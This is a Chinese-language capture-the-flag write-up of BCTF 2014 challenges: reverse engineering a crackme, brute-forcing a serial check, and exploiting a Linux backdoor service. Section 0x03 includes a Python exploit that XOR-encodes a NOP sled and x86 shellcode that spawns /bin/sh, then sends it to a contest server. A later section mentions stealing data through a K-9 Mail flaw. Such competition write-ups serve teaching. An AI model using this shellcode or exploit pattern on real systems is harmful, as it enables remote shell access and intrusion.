BCTF“百度杯”全国网络安全技术对抗赛,是由百度公司主办,清华和北大的安全技术专家提供技术支持,紫金江宁、南京赛宁承办,面向全国范围网络安全技术实战竞赛!
0×01 最难的题目: 100

下载后,发现时exe文件,od加载,经调试发现有反调试


设置,直接上StrongOD,这下反调试就跳过了,然后发现运行中不停的弹框

Nop掉这句messageBoxA,然后这个程序就可以顺利跑了。。跑好久后,可以看到

即,把仅有的字符串拼接,得到这道题的Flag是TH3_H4rd3st_H3r3
0×02 小菜一碟: 200

OD加载,这道题明显就是要输个字符串然后验证正确,定位到输入后的验证地址

这里可以看到要求输入是16位纯数字,而且输入后在内存中,会进行修正,即假设输入为a1-a16,则会在a5和a6中间插入 a5_5=01,a7和a8见插入a7_5=08,以及a10_5=00,a11_5=07

下来就是提示所指出的这段代码含义:

看似是乘了0×66666667
实质这段代码是edx/10,后面这段代码反复会被用到,

这大段循环中,实际运行了两次,一共对密码进行了这些验证
之前就验证了a1!=0
t1=(a6*a7)%10 t2=(a6*a7_5)%10 (a5_5*a7+(a6*a7)/10)%10==a1 (a2-t1)==(a5_5*a7_5+(a6*a7_5)/10)%10 a2>t1 a3>t2 (a5_5*a7+(a6*a7)/10)/10==0 0==(a5_5*a7_5+(x6*a7_5)/10)/10 a2!=t1 a3!=t2 a3-t2<=a5_5 a4<a6:
一共这么多条规则,是不是震惊了。别急还没完,好不容易来到了这里

你会发现这个call013d1000,进去后又是无尽的加加除除的,然后返回后,你需要通过这四个jnz才能继续向下,这个call和这四个jnz的具体对应是:
t2=(a6*a9)%10 t4=(a9+a6*a9/10)/10 t5=a6*a8 t3=a5_5*a9+(a6*a9)/10 t7=a8+a6*a8/10 t8=t5%10 t9=t3%10 t11=t7%10+(t8+t9)/10 ((t4+t11)/10+t7/10)==0 (a3-(a6*a7_5)%10)==(t4+t11)%10 a4==(t8+t9)%10: a5==t2
震惊了吧。。。。
别急,这里才刚刚验证了输入的a1-a9,还剩a10-a16呢,不过最后这几位简单了,直接内存中与已有的字符串进行了对比,即最后一段的循环。
附下,这么多的变量靠脑子想有点难,所以写了个程序自己跑了:
''' Created on 2014-3-9 print (a5_5*x7+(x6*x7)/10)%10==x1 print (x2-t1)==(a5_5*a7_5+(x6*a7_5)/10)%10 print x2>t1 print x3>t2 print (a5_5*x7+(x6*x7)/10)/10==0 print 0==(a5_5*a7_5+(x6*a7_5)/10)/10 print x3-t2<=a5_5 @author: icefish ''' #answer:6970825096996108 a5_5=1 a7_5=8 def checkFirst(x1,x2,x3,x4,x6,x7): t1=(x6*x7)%10 t2=(x6*a7_5)%10 if x1!=0 and (a5_5*x7+(x6*x7)/10)%10==x1 and (x2-t1)==(a5_5*a7_5+(x6*a7_5)/10)%10 and x2>t1 and x3>t2 and (a5_5*x7+(x6*x7)/10)/10==0 and 0==(a5_5*a7_5+(x6*a7_5)/10)/10 and x2!=t1 and x3!=t2 and x3-t2<=a5_5 and x4<x6: if check(x3-t2,x4,x6): #print x1,x2,x3,x4,x6,x7 print 'a1='+str(x1),'a2='+str(x2),'a3='+str(x3),'a4='+str(x4),'a6='+str(x6),'a7='+str(x7) def check(a1_x,a4,a6): for a8 in range(10): for a9 in range(10): t2=(a6*a9)%10 t4=(a9+a6*a9/10)/10 t5=a6*a8 t3=a5_5*a9+(a6*a9)/10 t7=a8+a6*a8/10 t8=t5%10 t9=t3%10 t11=t7%10+(t8+t9)/10 if ((t4+t11)/10+t7/10)==0 and a1_x==(t4+t11)%10 and a4==(t8+t9)%10: print 'a8='+str(a8),'a9='+str(a9) print 'a5='+str(t2) return True if __name__ == '__main__': print 'start:' #checkFirst(6,9,7,1,2,5) for i in range(10): for j1 in range(10): for j2 in range(10): for j3 in range(10): for j4 in range(10): for j5 in range(10): checkFirst(i,j1,j2,j3,j4,j5)
得到a8=0, a9=9, a5=8, a1=6,a2=9, a3=7,a4=0, a6=2 , a7=5
总的输入为:6970825096996108

0×03 后门程序: 100
这个程序是个linux的,比较讨厌,题目本身不算复杂,edb调试和ida都可以很快的分析出来,这是个输入后溢出的题目

然后很快定位到replay的输入检查

这里实际把输入和固定字符串<baidu-rocks,froM-china-with-love>进行了异或,如果输入长度大于固定字符串,超过部分循环再开始和固定字符串异或

异或结果前十个字节与后门字符串n0b4ckd00r比较

然后相等就进入了后门利用阶段,从输入异或后的第十个字节开始,call eax,进入了shellcode

这里问题在于,直到最后我的shellcode也没能成功运行,不知何故。。

附上代码:
'''
Created on 2014-3-9
@author: icefish
'''
#! /usr/bin/env python
#coding=utf-8
import socket
import time
from socket import *
import os,sys
import re
from time import sleep
ip=""
port=""
def nc(str):
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))
for i in range(200):
data = s.recv(1000)
print data
if data.find('Replay')!=-1:
break
sleep(5)
s.send(str)
s.send('\n')
sleep(5)
print 'send:'+str
#for i in range(10):
#data = s.recv(1000)
# print data
def XORtools(str):
strkey='<baidu-rocks,froM-china-with-love>'
l=len(strkey)
strEncry=''
for i in range(len(str)):
strEncry+=chr(ord(str[i])^ord(strkey[i%l]))
return strEncry
import struct
if __name__=='__main__':
ip="218.2.197.249"
port=1337
#fuzzle(0x250,0x262)
str='\x52\x52\x03\x5d\x07\x1e\x49\x42\x5f\x11\x63\x77\xa7\xe8'
strPass='n0b4ckd00r'
strNop='\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
buf = "\x81\xEC\x00\x02\x00\x00"
buf += "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01"
buf += "\xcd\x80\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1"
buf += "\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x0b\xab\x6a"
buf += "\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04"
buf += "\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59"
buf += "\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68"
buf += "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b"
buf += "\xcd\x80"
Encry=XORtools(strPass+strNop+buf)
for i in range(len(Encry)):
print hex((ord(Encry[i])))
file=open('houmen100.txt','w')
file.write(Encry)
file.close()
nc(Encry)
0×04 窃密木马: 300
这个基本上都是代码活,

首先队伍有人通过google发现漏洞提示:
http://blog.trustgo.com/k-9-mail-client-is-vulnerable-to-privacy-leak/#sthash.4ln86BHK.dpuf.com其次找到漏洞所在版本k9mail 4.005下载:
http://k9mail.googlecode.com/files/k9-4.005-release.apk
apktools,dex2jar解包得到AndroidMenifest.xml,发现了的确有这个问题

下来就是纯粹的代码工作了,由于太长了,我把它放到了自己的Blog上了 http://icefishwp.sinaapp.com/,感兴趣的可以看看。
不过这里好不容易本地写好,偷取成功,结果服务器上有av test,改掉了所有的字符串处理依然无法通过,由于时间太晚了,只能放弃了
0×05 感谢自己的队友,这次大家都很努力。ps 队伍:A4210B。